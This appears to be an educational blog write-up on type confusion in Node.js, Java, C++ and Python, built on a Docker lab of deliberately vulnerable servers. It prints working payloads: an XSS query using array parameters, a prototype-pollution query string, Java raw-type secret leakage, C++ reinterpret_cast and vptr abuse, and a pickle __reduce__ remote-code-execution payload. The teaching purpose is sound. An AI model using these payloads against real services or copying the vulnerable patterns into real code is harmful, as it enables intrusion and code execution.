Challenge to the reader: Pick your primary language — JavaScript, Java, C++, or Python. Before reading its section, write down in one sentence how you think type confusion would manifest in that language’s type system. Then see if the actual attack vector matches your intuition. The gap between your expectation and reality measures how well you understand your language’s weakest link.
Type confusion is a vulnerability class where a program treats data of one type as if it were a different, incompatible type. The root cause is always the same — the runtime’s assumptions about what a piece of memory represents are violated — but the mechanism by which this happens, and the impact it has, differs radically across languages because each language has a fundamentally different type system and memory model.
The four outputs from ./run_exploits.sh demonstrate exactly this: the same conceptual bug manifests through four entirely different attack surfaces, each exploiting the specific weaknesses of its host language’s type discipline.
1. Node.js: Array-vs-String Type Confusion → XSS
The Output (from nodejs.out)
[1] Safe request (string input - sanitized):
<script>alert(1)</script>
XSS blocked ✓
[2] VULNERABLE request (array input - NOT sanitized):
<script>alert(1)</script>
XSS EXECUTED! ✗
The <script> tag is rendered raw in the HTML!
[3] Advanced: Object type confusion (prototype pollution path):
Prototype pollution attempted via qs parameter parsing.
This sets Object.prototype.isAdmin = true globally.
The Vulnerable Code
The core of the vulnerability lives in nodejs/server.js:
function escapeHtml(s) {
if (typeof s === 'string') {
return s.replace(/[&<>"'/`]/g, (c) => ESCAPE_MAP[c]);
}
return s; // <-- THE BUG: non-strings returned unescaped
}
function renderTemplate(unsafe) {
const escaped = escapeHtml(unsafe);
return `
<!DOCTYPE html>
<html>
...
<pre>${escaped}</pre>
...
`;
}
How the Type Confusion Works
This is a dynamic-type-guard bypass. The attack exploits a subtle interaction between three JavaScript features:
-
Express query parsing with
qs: When a URL query parameter uses bracket notation —?unsafe[]=value— Express (via theqslibrary) parses it as an array, not a string. The request/?unsafe[]=<script>alert(1)</script>producesreq.query.unsafe = ["<script>alert(1)</script>"]. -
typeofguard insufficiency: TheescapeHtml()function attempts to sanitize only iftypeof s === 'string'. Buttypeof [] === 'object', so the array slips past the guard completely. The function returns the raw, unsanitized array. -
Template literal implicit coercion: When
${escaped}is interpolated into the template literal, JavaScript calls the array’s.toString()method. For a single-element array,["<script>alert(1)</script>"].toString()produces"<script>alert(1)</script>"— the raw, dangerous HTML string, with no escaping applied.
The Attack Chain, Step by Step
Attacker sends: GET /?unsafe[]=<script>alert(1)</script>
│
▼
Express + qs: req.query.unsafe = ["<script>alert(1)</script>"]
│ (Array, not String)
▼
escapeHtml(): typeof ["..."] === 'string'? → false → return array unchanged
│
▼
Template literal: `<pre>${["<script>alert(1)</script>"]}</pre>`
│ .toString() is called implicitly
▼
Browser receives: <pre><script>alert(1)</script></pre>
│
▼
Result: Script tag rendered raw → XSS executes
Why This Is a Type Confusion
The program assumes unsafe is always a string. It writes a type guard (typeof s === 'string') that reflects this assumption. But the guard’s else branch makes the catastrophic assumption that non-strings are inherently safe and can be returned verbatim. The array — a different type — is confused for a safe value and passes through unsanitized. The template literal then coerces it back to a string, completing the confusion cycle: string → array → unsanitized string.
The Prototype Pollution Angle
The third test (?unsafe[constructor][prototype][isAdmin]=true) demonstrates a related but distinct vulnerability: prototype pollution via query parameter parsing. The qs library, even with allowPrototypes: false, can be tricked into setting properties on Object.prototype when query parameters use deep nesting syntax like unsafe[constructor][prototype][isAdmin]. This is type confusion at the object-model level — a query string parameter is confused for an object property assignment, and the target of that assignment is confused from a local object to the global prototype chain.
Challenge: Open your Node.js project’s package.json. If you use Express with qs, check whether any route handler that calls an escapeHtml-style sanitizer passes req.query.* directly. What happens if you send ?param[]=<script>alert(1)</script>? Try it against a local instance — you might be surprised.
2. Java: Generic Type Erasure, Raw Casts, and Heap Pollution
The Output (from java.out)
[1] Generic Type Erasure Confusion:
Exception in thread "main" java.net.SocketTimeoutException: Read timed out
at java.base/sun.nio.ch.NioSocketImpl.timedRead(NioSocketImpl.java:288)
...
at Exploit.httpGet(Exploit.java:37)
at Exploit.main(Exploit.java:14)
Understanding the Partial Output
The Java output shows a SocketTimeoutException — the exploit client connected to the server (the TCP handshake succeeded) but the HTTP response never arrived within the 5-second read timeout. This means the Java server was not running when ./run_exploits.sh was executed. However, the source code in TypeConfusionServer.java and Exploit.java reveals exactly what the exploit would do, and the type confusion mechanics are fully visible in the server code.
The Vulnerable Code
From java/TypeConfusionServer.java, the critical vulnerability is in the demoTypeConfusion method:
static class SecureBox<T> {
T value;
SecureBox(T v) { this.value = v; }
T get() { return value; }
}
@SuppressWarnings({"rawtypes", "unchecked"})
private static void demoTypeConfusion(StringBuilder out) {
// Step 1: Create a SecureBox<UserSession> with a low-privilege user
SecureBox<UserSession> userBox = new SecureBox<>(new UserSession("alice", "user"));
// Step 2: Strip generics via raw type assignment
SecureBox rawBox = userBox; // rawBox has NO generic type parameter
// Step 3: Create a privileged AdminSession with secrets
AdminSession admin = new AdminSession("root");
admin.apiKey = SECRETS.get("admin_api_key"); // "jv-4dM1n-S3cr3t-K3y-2024"
admin.leakedSecrets = new String[]{
"admin_api_key=" + SECRETS.get("admin_api_key"),
"db_password=" + SECRETS.get("db_password"), // "J@vaSup3rS3cur3!"
"encryption_key=" + SECRETS.get("encryption_key"), // "0xDEADCAFEBABE4242"
};
// Step 4: Inject AdminSession into the box via raw reference
rawBox.value = admin; // bypasses ALL generic type checks!
// Step 5: Retrieve — the box still thinks it holds UserSession
UserSession confused = userBox.get();
// confused is ACTUALLY an AdminSession, but typed as UserSession
}
The Type Confusion Mechanism: Java Generic Type Erasure
This is the most architecturally fundamental form of type confusion in the project. It exploits a deliberate design decision in Java: generics are erased at runtime.
When the Java compiler sees SecureBox<UserSession>, it enforces type safety at compile time — you cannot call userBox.value = adminSession directly. The compiler rejects it with a type error. But after compilation, the JVM sees only SecureBox (the raw type). The <UserSession> parameter is erased — it does not exist in the bytecode.
The attack exploits this by introducing a raw type reference:
SecureBox<UserSession> userBox = new SecureBox<>(new UserSession("alice", "user"));
SecureBox rawBox = userBox; // Raw type — generics stripped
SecureBox (without <...>) is a raw type — a legacy compatibility mechanism from Java 1.4 and earlier, before generics existed. The compiler emits an “unchecked” warning but allows the assignment for backward compatibility. Once you hold a raw reference, all generic type checks are gone:
rawBox.value = admin; // Compiles without error — raw type has no type parameter to check
After this assignment, userBox.value contains an AdminSession, but userBox.get() returns it typed as UserSession. The type system has been confused: the runtime type (AdminSession) diverges from the compile-time type (UserSession).
The Heap Pollution Variant
The second demonstration in demoHeapPollution shows a closely related attack:
List<String> names = new ArrayList<>();
names.add("alice");
names.add("bob");
List rawList = names; // Strip generic parameter
rawList.add(Integer.valueOf(42)); // Add Integer to List<String>
for (String s : names) { // Iterator tries to cast Integer to String
// ClassCastException!
}
This is heap pollution: a parameterized collection is contaminated with objects of the wrong type via a raw type reference. The ClassCastException occurs not at the add() call (where rawList doesn’t check types) but at the for loop (where the implicit cast from the iterator’s next() to String fails because the element is actually Integer(42)).
The Java exploit chain leaks three hardcoded secrets — admin_api_key, db_password, encryption_key — by injecting an AdminSession object (which carries references to these secrets) into a container that was supposed to hold only UserSession objects.
Challenge: Run javap -c on a generic class in your current project. Find a <T> type parameter in the source. You won’t find it in the bytecode. That missing <T> is the erasure gap — and every place it’s relied upon is a potential heap pollution site. Count how many @SuppressWarnings("unchecked") annotations sit in your codebase. Each one is a type-confusion landmine someone already found but silenced instead of fixing.
3. C++: Union Type Punning, reinterpret_cast, and vptr Corruption
The Output (from cpp.out)
The C++ server was running when the script executed, so we have the complete output. It demonstrates three distinct type confusion techniques:
[1] Union Type Punning
=== UNION TYPE PUNNING DEMO ===
[SAFE] As Credential:
username: AAAAAAAABBBBBBBBCCCCCCCC
password: default_pass
[LEAK] As SessionToken (type confusion):
token_id: 0x4141414141414141
expiry: 4774451407313060418
[LEAK] Raw bytes (first 16):
[2] reinterpret_cast Confusion
=== REINTERPRET_CAST CONFUSION DEMO ===
[SAFE] As UserRecord:
name: HACKED_USER
uid: 1000
is_admin: 0
[LEAK] As PrivilegedContext (reinterpret_cast):
name: HACKED_USER
uid: 1000
admin_secret:
[ATTACK] After type confusion write:
user.uid = 0 (was 1000, now 0!)
user.is_admin = 0
[3] vptr Confusion
=== VPTR/LAYOUT CONFUSION DEMO ===
[INFO] SafeInt at address: 0x7fff3c2fc270
[INFO] SafeInt::get() -> 42
[INFO] SafeInt::is_valid() -> 1
[LEAK] Reinterpreted as UnsafePtr:
ptr: 0x61213c77db80
callback: 0x724c0000002a
[WARN] If callback were called with ptr, arbitrary code execution!
Technique 1: Union Type Punning — Memory Reinterpretation Without Casts
The vulnerable structures:
struct Credential {
char username[32]; // bytes 0-31
char password[32]; // bytes 32-63
}; // total: 64 bytes
struct SessionToken {
unsigned long token_id; // bytes 0-7
unsigned long expiry; // bytes 8-15
char padding[56]; // bytes 16-71
}; // total: 72 bytes
union TypePun {
Credential cred;
SessionToken token;
char raw[sizeof(Credential)];
};
A C++ union overlays all its members at the same memory address. When the attacker sends the input "AAAAAAAABBBBBBBBCCCCCCCC":
-
As Credential:
strncpy(u.cred.username, input, 31)writes the input bytes intousername[0..31].strncpy(u.cred.password, "default_pass", 31)writes intopassword[0..31](bytes 32-63). -
As SessionToken: Reading
u.token.token_idreads bytes 0-7 as anunsigned long. The bytes"AAAAAAAA"(0x41 repeated 8 times) are interpreted as the integer0x4141414141414141— the ASCII values of the input characters are directly reinterpreted as a numeric token ID. -
As raw bytes: The raw hex dump exposes the exact byte layout, confirming the overlap.
Why this is type confusion: The same physical memory is semantically two different types. The union doesn’t convert or validate — it simply provides two different lenses through which to view the same bytes. Reading through the “wrong” lens leaks what should be opaque internal state.
Technique 2: reinterpret_cast — Structural Overlap Exploitation
The vulnerable structures:
struct UserRecord {
char name[32]; // bytes 0-31
int uid; // bytes 32-35
int is_admin; // bytes 36-39
};
struct PrivilegedContext {
char name[32]; // bytes 0-31 (same offset as UserRecord.name)
int uid; // bytes 32-35 (same offset as UserRecord.uid)
char admin_secret[8]; // bytes 36-43 (OVERLAPS UserRecord.is_admin + 4 extra bytes)
};
These two structs are layout-compatible for the first 36 bytes but diverge in semantic interpretation. Both start with name[32] at offset 0 and uid at offset 32. But where UserRecord has is_admin (a 4-byte int) at offset 36, PrivilegedContext has admin_secret (an 8-byte char array) at the same offset.
The attack:
UserRecord user;
strncpy(user.name, "HACKED_USER", 31);
user.uid = 1000;
user.is_admin = 0;
// VULNERABLE:
PrivilegedContext* priv = reinterpret_cast<PrivilegedContext*>(&user);
// Read overlap: admin_secret reads is_admin's bytes + 4 bytes beyond
// The 4 bytes of is_admin (= 0) followed by 4 bytes of whatever is next on the stack
// appear as admin_secret
// Write overlap: setting priv->uid = 0 overwrites user.uid
priv->uid = 0; // Now user.uid == 0 (root!)
reinterpret_cast is the most dangerous cast in C++. It tells the compiler: “Treat this pointer as pointing to a completely different type, with no conversion, no validation, no questions asked.” It’s a blind type reassignment at the pointer level.
The key insight from the output: setting priv->uid = 0 changed user.uid to 0 because they occupy the same memory. The type system was bypassed entirely — the program wrote to a PrivilegedContext field but the bytes landed in a UserRecord field.
Technique 3: vptr Confusion — Virtual Table Pointer as Function Pointer
This is the most dangerous demonstration:
struct SafeInt {
int value; // offset 0: data member
// offset 8: vptr (hidden virtual table pointer — 8 bytes on x86-64)
SafeInt(int v) : value(v) {}
virtual int get() { return value; }
virtual bool is_valid() { return true; }
};
struct UnsafePtr {
void* ptr; // offset 0: generic pointer
void (*callback)(void*); // offset 8: function pointer
};
On a typical x86-64 system with the Itanium C++ ABI (used by GCC and Clang on Linux):
SafeIntobject layout:[value: 4 bytes] [padding: 4 bytes] [vptr: 8 bytes]= 16 bytesUnsafePtrobject layout:[ptr: 8 bytes] [callback: 8 bytes]= 16 bytes
Note: the actual layout may vary, but the principle holds. When reinterpret_cast<UnsafePtr*>(&safe) is applied:
evil->ptrreads bytes 0-7: this overlaps with theSafeInt::valuefield and possibly the start of the vptr. The output showsptr: 0x61213c77db80— this is a heap address, likely part of the vtable pointer mixed with the integer value 42.evil->callbackreads bytes 8-15: this overlaps with the virtual table pointer ofSafeInt. The output showscallback: 0x724c0000002a— notice how0x2ais 42 in decimal, thevaluefield! This is the vptr and value bytes being interpreted as a function pointer.
The exploit potential: If an attacker could control the value written to SafeInt::value and then trigger a call through the confused callback pointer, they could redirect execution to an arbitrary address. This is the classic vptr overwrite → control flow hijack primitive that underpins many C++ browser and kernel exploits.
Challenge: Grep your C++ codebase for reinterpret_cast and static_cast. For each hit, answer: does the cast cross a type-hierarchy boundary? Is there a discriminator check before the cast? If you controlled the bytes at the cast source, what primitive would you gain? The C++-specific walkthrough on this blog covers a full end-to-end exploit using exactly this pattern.
4. Python: Pickle Deserialization RCE, class Swapping, and JSON Coercion
The Output (from python.out)
[1] Class Attribute Confusion (__class__ manipulation):
The Python output is truncated — only the first line appears, and then the script appears to have failed silently (the Python service was not running when the test was executed). However, the source code reveals three distinct type confusion vectors.
Technique 1: __class__ Attribute Reassignment — Runtime Type Identity Swap
From python/server.py:
class UserProfile:
def __init__(self, username="guest"):
self.username = username
self.role = "guest"
self.data = {}
class FakeUser:
username = ""
role = "guest"
data = {}
def demo_class_attribute_confusion(data):
user = UserProfile("alice")
# user.__class__ is currently UserProfile
# isinstance(user, UserProfile) → True
# ATTACK: reassign the class pointer
user.__class__ = FakeUser
# type(user) is now FakeUser
# isinstance(user, UserProfile) → False
# isinstance(user, FakeUser) → True
In CPython, every object carries a reference to its class in ob_type (accessible as __class__). For heap types (classes defined in Python, not C extensions), and for objects whose layout is compatible with the new class, Python allows direct reassignment of __class__.
This is type confusion at the most fundamental level of Python’s object model: the identity of what type an object is is stored in a mutable field. By swapping __class__:
isinstance(user, UserProfile)returnsFalseeven though the object was constructed as aUserProfiletype(user).__name__returns"FakeUser"- Any security check that relies on
isinstance(obj, SomePrivilegedClass)ortype(obj) is ExpectedTypeis bypassed
In a real application, this could defeat access control: an object that was created as a GuestSession could have its __class__ swapped to AdminSession, passing isinstance(session, AdminSession) checks even though it wasn’t authorized as one.
Technique 2: Pickle Deserialization — __reduce__ Arbitrary Code Execution
From python/exploit.py and python/server.py:
class MaliciousPayload:
def __reduce__(self):
cmd = "cat /etc/hostname 2>/dev/null || echo 'container-host'"
return (os.popen, (cmd,))
The Python pickle module serializes objects by recording which module and class to import, and which arguments to pass to its reconstructor. The __reduce__ method allows an object to control exactly how it gets deserialized. When pickle.loads() encounters a pickled object, it:
- Reads the module name and callable from the pickle stream
- Calls that callable with the stored arguments
- Returns the result as the deserialized object
A malicious __reduce__ that returns (os.popen, ("cat /etc/hostname",)) causes pickle.loads() to execute os.popen("cat /etc/hostname") — arbitrary command execution. The deserializer thinks it’s reconstructing a MaliciousPayload object; it’s actually running a shell command.
This is type confusion between data and code: the pickle format encodes not just object state but construction logic, and an attacker can substitute arbitrary executable logic for the expected safe constructor.
The exploit script generates:
class RCEPayload:
def __reduce__(self):
cmd = "id && echo 'PICKLE_RCE_SUCCESS'"
return (os.popen, (cmd,))
payload = pickle.dumps(RCEPayload())
encoded = base64.b64encode(payload).decode()
# POST to /pickle_load with the base64-encoded pickle
The server’s /pickle_load endpoint directly calls pickle.loads() on user-supplied data — the classic unsafe deserialization pattern.
Technique 3: JSON Type Coercion — Integer/String Key Confusion
def lookup_user(input_json):
data = json.loads(input_json)
username = data.get("username", "guest")
if username in SECRET_DB:
user = SECRET_DB[username]
if user["role"] == "admin": # String comparison
# grant admin access
The attack sends {"username": "admin", "role": 1} — note that role is the integer 1, not the string "admin". If server-side code checks user["role"] == "admin" but the role is pulled from attacker-controlled JSON where an integer was provided, the string comparison 1 == "admin" returns False in Python 3, bypassing the check. Conversely, if the check is inverted (e.g., if role != "admin": deny), an integer role would cause the denial to be skipped.
This is type confusion at the serialization boundary: JSON has a simpler type system than Python (no distinction between int and float for “number”, no sets, no tuples). When JSON is deserialized, the types that emerge may not match what the application expects, and Python’s dynamic typing means no compile-time guard catches this mismatch.
Challenge: Audit your Python codebase for calls to pickle.loads() or yaml.load() (not safe_load). If you find any, trace the data flow back to its origin. Is any part of the input attacker-controllable? If yes, you have an RCE. Now audit every isinstance(obj, SomeClass) check — would swapping obj.__class__ defeat it? Python’s dynamism is a feature until it’s a bug.
5. Comparative Summary
| Dimension | Node.js | Java | C++ | Python |
|---|---|---|---|---|
| Type System | Dynamic, prototype-based | Static with generics, erased at runtime | Static, manual memory, no runtime type info for POD | Dynamic, duck-typed, mutable __class__ |
| Confusion Mechanism | typeof guard fail + coercion |
Raw types strip generic parameters | Unions and reinterpret_cast reinterpret memory bytes |
__class__ reassignment, pickle __reduce__, JSON coercion |
| Memory Model | GC heap, no raw pointers | GC heap, references | Stack/heap with raw pointers, deterministic layout | GC heap, everything is a PyObject* |
| Attack Surface | Input sanitization bypass | Heap pollution, privilege escalation | Memory leak, privilege escalation, vptr hijack | RCE, identity spoofing, comparison bypass |
| Real-World Impact | XSS (CVE-2021-23383 and others) | Sandbox escapes (CVE-2012-0507, CVE-2013-0422) | Browser sandbox escapes (CVE-2021-30551, CVE-2022-1096) | RCE in pickle-using services (CVE-2019-6446, CVE-2024-xxxx) |
| Detection Difficulty | Low (dynamic analysis catches it) | Medium (raw type warnings visible) | Hard (memory corruption, no runtime checks) | Medium (taint analysis catches pickle) |
The Fundamental Insight
Each language’s type confusion vulnerability maps directly to its type system’s weakest link:
- JavaScript: The
typeofoperator cannot distinguish arrays from objects, and implicit coercion silently converts between types. The weak link is the paucity of the type query API. - Java: Generic type parameters are a compile-time fiction — they don’t survive to runtime. The weak link is the erasure gap between compile-time and runtime type information.
- C++: Memory has no inherent type — it’s just bytes. The weak link is the absence of runtime type enforcement on POD types.
- Python: Object identity (
__class__) is mutable and deserialization (pickle) can execute arbitrary code. The weak link is the dynamic mutability of the type system itself.
6. The Deeper Lesson
What makes type confusion so persistently dangerous is that it attacks an assumption so fundamental that most developers never articulate it: that a variable’s type is what it says it is. Every language breaks this assumption in its own way:
- JavaScript breaks it by making
typeofincomplete and coercion implicit. - Java breaks it by erasing the very generics that were supposed to prevent it.
- C++ breaks it by giving you casts that say “trust me” and a memory model that says “I’m just bytes.”
- Python breaks it by making type identity itself a mutable attribute.
The common thread isn’t technical — it’s cultural. Every language community believes its type system protects it. But the protection only holds if you stay within the guardrails. And every language, without exception, provides explicit escape hatches from those guardrails — typeof fallthrough, raw types, reinterpret_cast, pickle.loads — that are used in production code every day.
Final challenge: Take a codebase you work on daily and find the one place where a type assumption is made but never verified. Write a one-paragraph threat model: what input crosses that boundary, what type confusion could occur, and what’s the worst thing an attacker could do with it. Send it to your team’s security channel. You have now done more than most security reviews ever will.
Source Code
The complete exploit source code for all four languages — Node.js server, Java server, C++ server, Python server, exploit scripts, and Docker setup — is available at:
https://github.com/tthtlc/autobug/tree/main/type_confusion
Each service runs in its own Docker container, exposing the type confusion vulnerability on a different port: Node.js :3000, Java :8080, C++ :9000, Python :5000. Run ./run_exploits.sh to execute all four demos.